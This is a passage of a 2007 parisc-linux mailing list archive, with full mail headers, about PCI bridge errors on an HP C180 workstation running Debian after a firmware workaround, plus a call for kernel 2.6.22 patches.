	b=lfRQn8uSCZfknQyRpns8yEmSbsFimkt3jJr6Uange/pb8IcaAWQWkAKmcUv8sdxRVmQ3gr2bpuFL0gf5pCvc7FynIqmzseI//RepmR4tKfjFYErErU5sI5qR/uWhUH7hxWDso2YM0l/WIrP1jEDN9erbJJ/m50Te1uBq8xLXkJk=
DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=beta;
	h=received:message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references:x-google-sender-auth;
	b=A94nH7hm/PigtXGEhNF60Ol1ir3eUDwo6+uTK9Z7P83YO+Yl79NbCcBk5AIi/kqLNxl9qdwrCdUtjdPC6dMGUEIc6fSjy6BoRjU4M7kFioPPEKUU7Yb6v9VzyNPnXQimIKbEqmVknnjBtO9E4i64Vcw20iWc3kPD4a6fiZN3Od8=
Original-Received: by 10.100.167.7 with SMTP id p7mr1379004ane.1177036257860;
	Thu, 19 Apr 2007 19:30:57 -0700 (PDT)
Original-Received: by 10.100.133.10 with HTTP; Thu, 19 Apr 2007 19:30:57 -0700 (PDT)
In-Reply-To: <1177034230.3648.14.camel@tablet.twosillies.com>
Content-Disposition: inline
X-Google-Sender-Auth: 5944ebb6e4d13dc7
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: vFFNNs9xZCEXmLGPamwhRc1wIGhpZcb1
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24467

On 4/20/07, Matthew Evanson <debianuser@twosillies.com> wrote:
> On Thu, 2007-04-19 at 00:04 -0600, Grant Grundler wrote:
> > On Sat, Apr 14, 2007 at 10:04:49PM -0400, Matthew Evanson wrote:

> > > Background:
> > > * Own a C180 with the buggy GSCtoPCI hardware (per note A4190A-01)
> > > * Installed a Compaq quad port PCI ethernet card in the box
> > > * System failed to boot due to firmware lockout
> > > * Modified firmware to bypass error and allow booting
> >
> > Can you describe how you did that?
> > Maybe even add it someplace to wiki.parisc-linux.org?
> > Or just mail it to me off list and I'll add it.
>
> Yeah, I'd be happy to describe that and post it to the wiki.  Are you
> looking for how I approached the problem overall or something more
> simplistic (i.e. bytes changed in the firmware).  I suppose there could
> be some value in both.

Create yourself an account on the wiki and let us know your WikiName.
We'll grant you write access from then

T-Bone

-- 
Thibaut VARENE
http://www.parisc-linux.org/~varenet/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Evanson <matt@twosillies.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Debian 4.0 and PCI issues?
Date: Thu, 19 Apr 2007 21:57:10 -0400
Lines: 108
Approved: news@gmane.org
Message-ID: <1177034230.3648.14.camel__24110.4146269665$1416624334$gmane$org@tablet.twosillies.com>
References: <1176602689.4621884127120@www.twosillies.com>
	<20070419060418.GB16953@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624334 23573 80.91.229.3 (22 Nov 2014 02:45:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:45:34 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:39 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 21 Apr 2007 03:01:31 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx089) with SMTP; 21 Apr 2007 05:01:31 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 883AD7DAD8;
	Fri, 20 Apr 2007 21:01:25 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07988-05; Fri, 20 Apr 2007 21:01:25 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4CBD27DACE;
	Fri, 20 Apr 2007 21:01:23 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 096BF7DAC8
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 19 Apr 2007 19:57:31 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30877-02 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 19 Apr 2007 19:57:28 -0600 (MDT)
Original-Received: from elasmtp-galgo.atl.sa.earthlink.net
	(elasmtp-galgo.atl.sa.earthlink.net [209.86.89.61])
	by free.linux.hp.com (Postfix) with ESMTP id 68CDC7DAB1
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 19 Apr 2007 19:57:28 -0600 (MDT)
Original-Received: from [24.223.128.102] (helo=twosillies.com)
	by elasmtp-galgo.atl.sa.earthlink.net with asmtp (TLSv1:AES256-SHA:256)
	(Exim 4.34) id 1HeiNL-0000XB-5z
	for parisc-linux@lists.parisc-linux.org; Thu, 19 Apr 2007 21:57:27 -0400
Original-Received: from [192.168.10.39] (tablet-w.twosillies.com [192.168.10.39])
	by twosillies.com (8.12.11.20060308/8.12.11) with ESMTP id
	l3K28MXx006345 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 19 Apr 2007 22:08:23 -0400
In-Reply-To: <20070419060418.GB16953@colo.lackof.org>
X-Mailer: Evolution 2.8.3 (2.8.3-1.fc6) 
X-Spam-Flag: NO
X-Scanned-By: milter-spamc/0.25.321 (twosillies.com [192.168.20.1]);
	Thu, 19 Apr 2007 22:08:34 -0400
X-Spam-Status: NO, hits=-1.40 required=3.00
X-ELNK-Trace: 8f796ff1b544482c72cc1e1b0924a179239a348a220c2609dbd58ad899aec9ea5283936375551f36350badd9bab72f9c350badd9bab72f9c350badd9bab72f9c
X-Originating-IP: 24.223.128.102
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-Mailman-Approved-At: Fri, 20 Apr 2007 21:01:22 -0600
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: uEwQfgsiYW0+k7uGbmZp5QV0amthcxu9
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24468

On Thu, 2007-04-19 at 00:04 -0600, Grant Grundler wrote:
> On Sat, Apr 14, 2007 at 10:04:49PM -0400, Matthew Evanson wrote:
> > I was wondering if others have had success running Debian 4.0 (or 3.1 testing)
> > on a C class workstation (specifically C180) with PCI hardware.
> 
> Not that many people are running the older generation workstations.
> BTW, which kernel version is Debian 3.1 testing? Is this the 2.6.18-?

When I first installed 3.1 testing, it had been 2.6.15-.  I upgraded
that in place to 4.0 and it is 2.6.18-.  Both versions exhibited the
problem.

> > Background:
> > * Own a C180 with the buggy GSCtoPCI hardware (per note A4190A-01)
> > * Installed a Compaq quad port PCI ethernet card in the box
> > * System failed to boot due to firmware lockout
> > * Modified firmware to bypass error and allow booting
> 
> Can you describe how you did that?
> Maybe even add it someplace to wiki.parisc-linux.org?
> Or just mail it to me off list and I'll add it.

Yeah, I'd be happy to describe that and post it to the wiki.  Are you
looking for how I approached the problem overall or something more
simplistic (i.e. bytes changed in the firmware).  I suppose there could
be some value in both.

> > * When Linux probes the PCI bus, errors are reported and device is unusable.
> > 
> > Errors thrown are:
> 
> Can you capture the console output with a serial console and post it?
> Can you also post "lspci -v"  and "lspci -vt" output using the kernel
> that did boot?

I'm not set up for a serial console... I'll do that in the next day or
two and post the results at that time.  I also intend to boot with the
original firmware, the stock kernel, and no PCI cards to see if the
kernel still complains on PCI bus probe.

Here's the output for lspci -vt:

        
        -[0000:00]---03.0-[0000:01]--+-04.0  Intel Corporation 82557/8/9 [Ethernet Pro 100]
                                     +-05.0  Intel Corporation 82557/8/9 [Ethernet Pro 100]
                                     +-06.0  Intel Corporation 82557/8/9 [Ethernet Pro 100]
                                     \-07.0  Intel Corporation 82557/8/9 [Ethernet Pro 100]
        
and lspci -v:


        00:03.0 PCI bridge: Digital Equipment Corporation DECchip 21154 (rev 05) (prog-if 00 [Normal decode])
                Flags: bus master, fast Back2Back, medium devsel, latency 255
                Bus: primary=00, secondary=01, subordinate=01, sec-latency=255
                I/O behind bridge: 00000000-00000fff
                Memory behind bridge: f2800000-f2bfffff
                Prefetchable memory behind bridge: 00000000f2c00000-00000000f2cfffff
                Capabilities: [dc] Power Management version 1
        
        01:04.0 Ethernet controller: Intel Corporation 82557/8/9 [Ethernet Pro 100] (rev 05)
                Subsystem: Compaq Computer Corporation NC3131 Fast Ethernet NIC (dual port)
                Flags: bus master, medium devsel, latency 255, IRQ 27
                Memory at f2c00000 (32-bit, prefetchable) [size=4K]
                I/O ports at 10000 [size=32]
                Memory at f2800000 (32-bit, non-prefetchable) [size=1M]
                Capabilities: [dc] Power Management version 1
        
        01:05.0 Ethernet controller: Intel Corporation 82557/8/9 [Ethernet Pro 100] (rev 05)
                Subsystem: Compaq Computer Corporation NC3131 Fast Ethernet NIC (dual port)
                Flags: bus master, medium devsel, latency 255, IRQ 28
                Memory at f2c01000 (32-bit, prefetchable) [size=4K]
                I/O ports at 10020 [size=32]
                Memory at f2900000 (32-bit, non-prefetchable) [size=1M]
                Capabilities: [dc] Power Management version 1
        
        01:06.0 Ethernet controller: Intel Corporation 82557/8/9 [Ethernet Pro 100] (rev 05)
                Subsystem: Compaq Computer Corporation NC3132 Fast Ethernet Module (dual port)
                Flags: bus master, medium devsel, latency 255, IRQ 29
                Memory at f2c02000 (32-bit, prefetchable) [size=4K]
                I/O ports at 10040 [size=32]
                Memory at f2a00000 (32-bit, non-prefetchable) [size=1M]
        
        01:07.0 Ethernet controller: Intel Corporation 82557/8/9 [Ethernet Pro 100] (rev 05)
                Subsystem: Compaq Computer Corporation NC3132 Fast Ethernet Module (dual port)
                Flags: bus master, medium devsel, latency 255, IRQ 30
                Memory at f2c03000 (32-bit, prefetchable) [size=4K]
                I/O ports at 10060 [size=32]
                Memory at f2b00000 (32-bit, non-prefetchable) [size=1M]


> > FYI, I do understand the potential for corruption of data running in this
> > configuration but the way in which this machine will be utilized is low risk.
> 
> ok. For NICs, it's probably OK as long as you disable checksum offloading.
> Packets with data that triggers the corruption will just keep getting resent.
> I guess the connection will timeout at that point. So you won't have to
> worry about silently missing the problem.

Thanks for sharing that background.

--matt

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [CFP] Call for Patches for 2.6.22
Date: Fri, 20 Apr 2007 21:22:34 -0600
Lines: 38
Approved: news@gmane.org
Message-ID: <20070421032234.GB12817__41128.2073044733$1416624335$gmane$org@colo.lackof.org>
References: <20070419152945.GJ7819@athena.road.mcmartin.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624335 23576 80.91.229.3 (22 Nov 2014 02:45:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:45:35 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Kyle McMartin <kyle@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:39 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 21 Apr 2007 03:22:54 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx024) with SMTP; 21 Apr 2007 05:22:54 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BF6627DAF3;
	Fri, 20 Apr 2007 21:22:49 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 08467-08; Fri, 20 Apr 2007 21:22:49 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9F6457DAE9;
	Fri, 20 Apr 2007 21:22:47 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A7F197DADF
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 20 Apr 2007 21:22:42 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 08493-02 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 20 Apr 2007 21:22:41 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id E6CA37DAD3
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 20 Apr 2007 21:22:40 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 66FD3338242;
	Fri, 20 Apr 2007 21:22:40 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13145-06; Fri, 20 Apr 2007 21:22:34 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 15388338241; Fri, 20 Apr 2007 21:22:34 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20070419152945.GJ7819@athena.road.mcmartin.ca>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 3fdMNlR2ZCEXmLGPamwh9hRwIGhpZUbB
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24469

On Thu, Apr 19, 2007 at 11:29:45AM -0400, Kyle McMartin wrote:
> See $SUBJECT. The merge window will likely open soon, so we have
> 2 weeks from then to collect patches for Linus. What I currently have
> queued is in:
> 
> http://git.kernel.org/?p=linux/kernel/git/kyle/parisc-2.6.git;a=summary

Nice.

Sorry - can you remind me which git tree you'd like those against?

I'm really still very shaky with git since i only get to use it
once a month. Updates to "Building the Kernel" would be helpful to me.

     http://www.parisc-linux.org/kernel/index.html

Or should I move that page to the Wiki and I can update it?

thanks,
grant

> 
> (The two janitor patches are included, but haven't been pushed yet.)
> 
> Please hit me with any patches you want in 2.6.22.
> 
> Cheers,
> 	Kyle
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Debian 4.0 and PCI issues?
Date: Thu, 19 Apr 2007 00:04:18 -0600
Lines: 86
Approved: news@gmane.org
Message-ID: <20070419060418.GB16953__41779.0479179986$1416624335$gmane$org@colo.lackof.org>
References: <1176602689.4621884127120@www.twosillies.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624335 23579 80.91.229.3 (22 Nov 2014 02:45:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:45:35 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Matthew Evanson <debianuser@twosillies.com>
Original-X-From: - Wed Jul 02 21:27:39 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 19 Apr 2007 06:04:52 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx065) with SMTP; 19 Apr 2007 08:04:52 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D41167DAB8;
	Thu, 19 Apr 2007 00:04:41 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23853-04; Thu, 19 Apr 2007 00:04:41 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 61DE97DAA8;
	Thu, 19 Apr 2007 00:04:39 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 49C107DAA5
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 19 Apr 2007 00:04:35 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23742-06 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 19 Apr 2007 00:04:33 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 72BAB7DA8E
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 19 Apr 2007 00:04:33 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id E92D13F817A;
	Thu, 19 Apr 2007 00:04:28 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 22115-04; Thu, 19 Apr 2007 00:04:21 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 1FF3B3F8178; Thu, 19 Apr 2007 00:04:19 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <1176602689.4621884127120@www.twosillies.com>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: sTQefnRgYW0+k7uGbmZpDfl0amthc5vI
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24470

On Sat, Apr 14, 2007 at 10:04:49PM -0400, Matthew Evanson wrote:
> 
> First, hats off to those that have made Linux usable on PA-RISC.  

thanks (on behalf of willy, randolph, jda, lamont, bdale, jsm, carlos,
taggart, bame, et al - see "Hall of Fame" on our webpage)

> I was wondering if others have had success running Debian 4.0 (or 3.1 testing)
> on a C class workstation (specifically C180) with PCI hardware.

Not that many people are running the older generation workstations.
BTW, which kernel version is Debian 3.1 testing? Is this the 2.6.18-?

> Background:
> * Own a C180 with the buggy GSCtoPCI hardware (per note A4190A-01)
> * Installed a Compaq quad port PCI ethernet card in the box
> * System failed to boot due to firmware lockout
> * Modified firmware to bypass error and allow booting

Can you describe how you did that?
Maybe even add it someplace to wiki.parisc-linux.org?
Or just mail it to me off list and I'll add it.

> * When Linux probes the PCI bus, errors are reported and device is unusable.
> 
> Errors thrown are:

Can you capture the console output with a serial console and post it?
Can you also post "lspci -v"  and "lspci -vt" output using the kernel
that did boot?

>     PCI: Unable to handle 64-bit address space for bridge 0000:00:03.0
>     PCI: Failed to allocate mem resource #0:1000@f2c00000 for 0000:01:04.0
>     PCI: Failed to allocate mem resource #0:1000@f2c00000 for 0000:01:05.0
>     PCI: Failed to allocate mem resource #0:1000@f2c00000 for 0000:01:06.0
>     PCI: Failed to allocate mem resource #0:1000@f2c00000 for 0000:01:07.0
> 
> The e100 module fails to load with the message:
>     Cannot find proper PCI device base address, aborting.
> 
> I've traced this to the function pci_read_brige_bases in drives/pci/probe.c.
> I built a new kernel that instead of erroring out, reports and ignores
> mem_base_hi and mem_limit_hi.  With this new kernel, I am successfully able to
> use my PCI hardware.
> 
> mem_base_hi and mem_limit_hi both report as 0xffffffff.  This seems to be
> incorrect behaviour per the comments in the code.

AFAIK, dino/cujo do not route GMMIO (>4G addresses).
I would expect zero in both _hi registers on C180 or similar workstations.
I suspect this is intentional because firmware detected the "bad" dino
versions. I don't recall if "cujo" (64-bit slots) are also affected.

> Ultimately, my question is whether or not those values are expected or if this
> is the result of change in behaviour due to my firmware modification?

I suspect the latter....but I don't know what you modified.
It might be possible to hack the dino driver to think this is a
"card-mode" dino and then dino can initialize all PCI device resources.
Might require additional hacking on MMIO resource map but should be do-able.

> FYI, I do understand the potential for corruption of data running in this
> configuration but the way in which this machine will be utilized is low risk.

ok. For NICs, it's probably OK as long as you disable checksum offloading.
Packets with data that triggers the corruption will just keep getting resent.
I guess the connection will timeout at that point. So you won't have to
worry about silently missing the problem.

cheers,
grant

> 
> Thanks,
> --matt
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:50 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [CFP] Call for Patches for 2.6.22
Date: Thu, 19 Apr 2007 11:29:45 -0400
Lines: 18
Approved: news@gmane.org
Message-ID: <20070419152945.GJ7819__26750.7648481571$1416624335$gmane$org@athena.road.mcmartin.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624335 23580 80.91.229.3 (22 Nov 2014 02:45:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:45:35 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:39 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 19 Apr 2007 15:32:11 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx062) with SMTP; 19 Apr 2007 17:32:11 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1217C7DA8D;
	Thu, 19 Apr 2007 09:32:07 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28106-08; Thu, 19 Apr 2007 09:32:06 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id EE0387DA8E;
	Thu, 19 Apr 2007 09:32:05 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 975887DA8C
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 19 Apr 2007 09:32:00 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
